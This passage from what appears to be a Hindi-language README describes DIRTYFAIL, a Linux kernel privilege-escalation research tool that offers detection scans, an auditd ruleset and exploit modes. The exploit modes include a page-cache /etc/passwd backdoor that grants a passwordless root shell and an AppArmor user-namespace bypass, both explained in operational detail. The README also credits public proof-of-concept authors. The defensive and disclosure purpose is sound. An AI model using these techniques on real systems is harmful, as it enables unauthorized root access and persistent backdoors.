प्रोब) या SIEM/फ्लीट इंजेशन के लिए dirtyfail --scan --active --json।
tools/dirtyfail-check.sh bash वेरिएंट में शून्य बिल्ड
निर्भरताएँ हैं।tools/99-dirtyfail.rules एक ड्रॉप-इन auditd
रूलसेट है जो एक्सप्लॉइट श्रृंखला द्वारा उपयोग किए जाने वाले पाँच syscall पथों को
कवर करता है (XFRM netlink पंजीकरण, add_key("rxrpc"),
unshare(CLONE_NEWUSER), AF_ALG सॉकेट निर्माण,
/etc/passwd//etc/shadow लेखन)। इसके साथ इंस्टॉल करें: ```sh
sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/
sudo augenrules --load && sudo systemctl restart auditd
tools/dirtyfail-container-escape.sh दिखाता है कि कर्नेल पेज
कैश नेमस्पेस के बीच साझा होता है — ऑपरेटरों को क्रॉस-टेनेंट
प्रभाव समझाने के लिए उपयोगी।DIRTYFAIL एक शोध उपकरण है। इसमें शामिल कमजोरियाँ पहले से ही सार्वजनिक रूप से प्रकट हैं, जिनके लिए हथियारबंद PoC वास्तविक दुनिया में मौजूद हैं (क्रेडिट देखें) — DIRTYFAIL डिटेक्शन कवरेज, एकीकृत दस्तावेज़ीकरण, और एक सौम्य PoC संस्करण (UID-फ्लिप बनाम /usr/bin/su का ELF अधिलेखन) जोड़ता है।
--exploit-* मोड न चलाएँ जो आपके स्वामित्व में नहीं हैं या जिनके परीक्षण के लिए आपको स्पष्ट रूप से अधिकृत नहीं किया गया है। पेज-कैश संशोधन drop_caches से पूर्ववत किए जा सकते हैं, लेकिन जब तक वे बने रहते हैं, तब तक वे विशेषाधिकार वृद्धि (privilege escalation) ही हैं।/tmp में एक सेंटिनल फ़ाइल खोलता है और कर्नेल क्रिप्टो API को सक्रिय करता है।ये तीन विशेषताएँ DIRTYFAIL को उन तकनीकों के साथ विस्तारित करती हैं जिन्हें पहली बार 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo द्वारा प्रकाशित किया गया था। DIRTYFAIL शैली में पुनः कार्यान्वित; मूल श्रेय NOTICE.md में है।
वही xfrm-ESP no-COW पथ जैसा CVE-2026-43284 में है, लेकिन authencesn(...) के बजाय rfc4106(gcm(aes)) का उपयोग करते हुए। इसे authencesn वैरिएंट के साथ शामिल करने के दो कारण हैं:
algif_aead को ब्लैकलिस्ट किया है, वह यहाँ भी कमजोर है — GCM पथ algif_aead से होकर नहीं जाता।1-बाइट प्रिमिटिव (cfg_1byte_write) ही वह चीज़ है जो पर्सिस्टेंट बैकडोर मोड को संभव बनाता है।
--exploit-backdoor उस सबसे लंबी /etc/passwd लाइन को चुनता है जिसका शेल {nologin, false, sync} में है और उसे dirtyfail::0:0:<pad>:/:/bin/bash (लंबाई-मिलान) के साथ बाइट-दर-बाइट अधिलेखित करता है। इंस्टॉलेशन के बाद, कोई भी उपयोगकर्ता su - dirtyfail चलाकर रूट शेल प्राप्त कर सकता है — बिना पासवर्ड प्रॉम्प्ट के — क्योंकि pam_unix.so nullok खाली पासवर्ड फ़ील्ड को स्वीकार करता है।
उपयोगकर्ता नाम dirtyfail जानबूझकर इस प्रोजेक्ट से जोड़ा गया है ताकि किसी भी बाद के ऑडिट में इसका पता लगाना आसान हो — grep dirtyfail /etc/passwd चलाने वाले रक्षक (या ऐसा करने वाला कोई भी HIDS) लाइन को तुरंत देख लेंगे। यदि आपको किसी विशिष्ट रेड-टीम अभियान के लिए एक अलग पहचानकर्ता चाहिए, तो src/backdoor.c में NEW_USER और DF_PREFIX बदलें।
डिस्क पर मौजूद फ़ाइल अपरिवर्तित रहती है; प्रतिस्थापन केवल पेज कैश में होता है। --cleanup-backdoor उसी प्रिमिटिव के माध्यम से मूल लाइन को पुनर्स्थापित करता है।
Ubuntu 24.04+ में apparmor_restrict_unprivileged_userns=1 शामिल है। अनप्रिविलेज्ड बाइनरी पर लागू डिफ़ॉल्ट प्रोफ़ाइल unshare(USER) को सफल होने देती है, लेकिन नए नेमस्पेस में CAP_NET_ADMIN को हटा देती है। फिर XFRM SA पंजीकरण चुपचाप विफल हो जाता है।
बाइपास: /proc/self/attr/exec में "exec crun" लिखें और AppArmor के crun प्रोफ़ाइल में जाने के लिए execv करें, जिसमें flags=(unconfined) और स्पष्ट userns, अनुमति होती है। exec के बाद, नए नेमस्पेस के अंदर पूर्ण कैप्स के साथ unshare(CLONE_NEWUSER | CLONE_NEWNET) सफल होता है।
DIRTYFAIL इसे प्रति-एक्सप्लॉइट-मोड fork के माध्यम से संभालता है: पैरेंट init नेमस्पेस में रहता है, चाइल्ड बाइपास + कर्नेल कार्य करता है, पैरेंट ग्लोबल पेज कैश पढ़ता है और वास्तविक init-ns रूट के लिए su चलाता है। पूरी श्रृंखला के लिए §8.5 Architecture देखें। लीगेसी --aa-bypass फ्लैग (जो पूरी प्रक्रिया के लिए बाइपास को सक्रिय करता था) केवल डीबगिंग के लिए रखा गया है।
मूल तकनीक 0xdeadbeefnetwork द्वारा aa-rootns.c से है (वहाँ ब्रैड स्पेंगलर / grsecurity को श्रेय दिया गया है)। DIRTYFAIL का कार्यान्वयन:
kernel.apparmor_restrict_unprivileged_userns sysctl के माध्यम से प्रतिबंध का पता लगाता है, न कि /proc/self/attr/current पढ़कर (जो Ubuntu 24.04 पर नीति प्रतिबंधित होने पर भी "unconfined" दिखाता है)।crun → chrome डांस के बजाय crun में एक ही हॉप का उपयोग करता है — दूसरे हॉप के कारण Ubuntu 24.04 पर रुक-रुक कर ENOSPC आता था।g_bypass_done फ्लैग सेट करता है ताकि पुनः-जाँच शॉर्ट-सर्किट हो जाए (अनंत re-exec लूप को रोकता है जो पहले प्रति-userns नेस्टिंग कैप को समाप्त कर देते थे)।DIRTYFAIL मूल कोड है, लेकिन इसके द्वारा कार्यान्वित तकनीकें नीचे दिए गए शोधकर्ताओं द्वारा विकसित की गई थीं। इस टूल को तैनात करने से पहले उनके प्राथमिक स्रोत पढ़ें — वे प्रामाणिक संदर्भ हैं।
| स्रोत | शोधकर्ता | योगदान |
|---|---|---|
| https://copy.fail/ | Anonymous | मूल कॉपी फेल प्रकटीकरण |
| https://github.com/Smarttfoxx/copyfail | Smarttfoxx | C PoC (su में शेलकोड वाला वैरिएंट) |
| https://github.com/rootsecdev/cve_2026_31431 | rootsecdev | Python डिटेक्टर + UID-फ्लिप PoC; DIRTYFAIL के --exploit-copyfail मोड की एर्गोनॉमिक्स इसी दृष्टिकोण का अनुसरण करती है। |
| https://github.com/V4bel/dirtyfrag | Hyunwoo Kim (@v4bel) | Dirty Frag की खोज, पूर्ण श्रृंखला PoC, कर्नेल पैच |
| https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo | 0xdeadbeefnetwork | GCM-वैरिएंट एक्सप्लॉइट, IPv6 PoC, AppArmor userns बाइपास तकनीक |
| https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/ | BleepingComputer | सार्वजनिक रिपोर्टिंग |
पैच लेखक:
f4c50a4034e6 (Dirty Frag xfrm-ESP) — Hyunwoo Kim के v1 पैच पर आधारित, जिसमें Kuan-Ting Chen का विलयित साझा-frag दृष्टिकोण शामिल है।MIT. LICENSE देखें।
इस रिपॉज़िटरी पर एक issue खोलें, या कमिट इतिहास में सूचीबद्ध पते पर संपर्क करें। संबंधित मुद्दों के समन्वित प्रकटीकरण के लिए, ऊपर दिए गए अपस्ट्रीम शोधकर्ताओं से सीधे संपर्क करें।